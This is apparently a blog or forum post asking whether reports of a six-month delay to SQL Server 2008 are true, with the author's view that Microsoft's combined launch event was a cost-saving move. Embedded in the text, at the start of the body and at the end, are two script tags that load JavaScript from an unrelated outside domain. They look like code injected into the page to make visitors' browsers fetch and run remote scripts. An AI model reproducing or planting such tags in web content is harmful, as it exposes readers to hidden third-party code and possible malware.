SQL Server 2008 "delayed" by "six months"

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> Betanews are reporting that Microsoft have been embarrassed by having to announce a 6 month delay despite going ahead with the "official launch" of SQL Server 2008 next month.

Is this really true?

I remember when I first heard about the "big event" planned for the official launch for VS2008, SQL Server 2008 and Windows Server 2008 that it was clear this was just a cost-saving exercise for Microsoft - rolling three "Launches" into one with one of the launches (VS2008) being much too late, and the other (SQL Server 2008) being much too early.

I didn't see any way SQL Server 2008 could be ready for launch given the long testing cycle SQL Server goes through and the relatively late announcement of the first CTPs.

So I just assumed that SQL Server 2008 would be getting some form of public beta handout at the event and that would be it until RTM at the end of the year.

Did I assume wrong, or are Betanews.com just making up a story where there is none? <script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>